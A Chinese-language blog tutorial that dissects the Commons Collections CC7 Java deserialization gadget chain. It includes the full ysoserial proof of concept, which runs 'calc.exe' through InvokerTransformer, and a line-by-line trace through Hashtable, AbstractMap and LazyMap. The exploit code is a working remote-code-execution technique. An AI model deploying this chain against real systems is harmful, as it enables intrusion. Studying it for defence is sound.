介绍
cc7的核心同样和cc1的相同,但触发 Lazymap.get() 方法的流程改了,由Hashtable类触发,利用链如下
Hashtable.readObject
Hashtable.reconstitutionPut
Hashtable.reconstitutionPut
LazyMap.equals 没实现,找父类
AbstractMapDecorator.equals
HashMap.equals 没实现,找父类
AbstractMap.equals
LazyMap.get
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
POC
yso给出的poc
package com.ysoserial;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;
public class CommonCollections7 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer transformerChain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[] {"calc.exe"})
});
HashMap hashMap1 = new HashMap();
HashMap hashMap2 = new HashMap();
Map map1=LazyMap.decorate(hashMap1,transformerChain);
map1.put("1",1);
Map map2 = LazyMap.decorate(hashMap2, transformerChain);
map2.put("2",2);
Hashtable hashtable = new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,2);
//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashtable);
byteArrayOutputStream.flush();
byte[] bytes = byteArrayOutputStream.toByteArray();
//反序列化
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
分析
我们来到反序列化的起点 Hashtable.readObject方法
,代码如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the length, threshold, and loadfactor
s.defaultReadObject();
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Compute new size with a bit of room 5% to grow but
// no larger than the original size. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)(elements * loadFactor) + (elements / 20) + 3;
if (length > elements && (length & 1) == 0)
length--;
if (origlength > 0 && length > origlength)
length = origlength;
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
}
elements代表键值对的个数,我们创建Hashtable时传入了两个键值对,故elements=2
我们直接看到最后一行代码,发现会调用reconstitutionPut(table, key, value)方法
,我们查看其代码
这时table=new Entry[length], key=map1,value=1
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
由于第一次e = null
(首次传入的table参数为空),故无法通过这句判断for (Entry<?,?> e = tab[index] ; e != null ; e = e.next)
,从而直接执行tab[index] = new Entry<>(hash, key, value, e);
,将key和value存入table
赋值完成后还是回到readObject的for循环
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// synch could be eliminated for performance
reconstitutionPut(table, key, value);
}
再次调用reconstitutionPut(table, key, value)方法
这次key=map2,value=2,table=<map1,1>
着重看下reconstitutionPut(table, key, value)方法
这部分代码
int index = (hash & 0x7FFFFFFF) % tab.length;//获取key在哈希表中的位置,这里为第一个元素,位置0
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
因为table在第一次赋值完成,e不为空,故进入 if ((e.hash == hash) && e.key.equals(key))
此时e=tab[0], e.key=map1 key=map2
此时会调用e.key.equals(key)
,也就是map1.equals(map2)
,这map1和map2均为LazyMap对象,poc中定义如下
Map map1=LazyMap.decorate(hashMap1,transformerChain);
map1.put("1",1);
Map map2 = LazyMap.decorate(hashMap2, transformerChain);
map2.put("2",2);
我们去看下LazyMap
的equals方法
,发现没有该方法,但LazyMap类
是继承了AbstractMapDecorator类
的,我们查看AbstractMapDecorator.equals方法
代码
public boolean equals(Object object) {
if (object == this) {
return true;
}
return map.equals(object);
}
这里会调用map属性
的equals方法
,map是我们创建LazyMap
时传入的HashMap对象
,如下所示
Map map1=LazyMap.decorate(hashMap1,transformerChain);
我们去看下HashMap
的equals方法
,发现HashMap
同样没有该方法,我们也去找它的父类AbstractMap
,查看方法AbstractMap.equals
代码
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))//调用LazyMap.get
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
迭代器i是map1
的entrySet()
的迭代器
while循环里是拿到map1里的key和value,map1存的key为"1"和1
这里的m是map2
,value=1
不为空,所以进入else,然后调用m.get(key)
,实际就是map2.get("1")
所以这里会执行if (!value.equals(m.get(key)))
,m即我们传入的第二个LazyMap,也就是调用LazyMap.get
,到此poc触发成功,弹出计算器
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)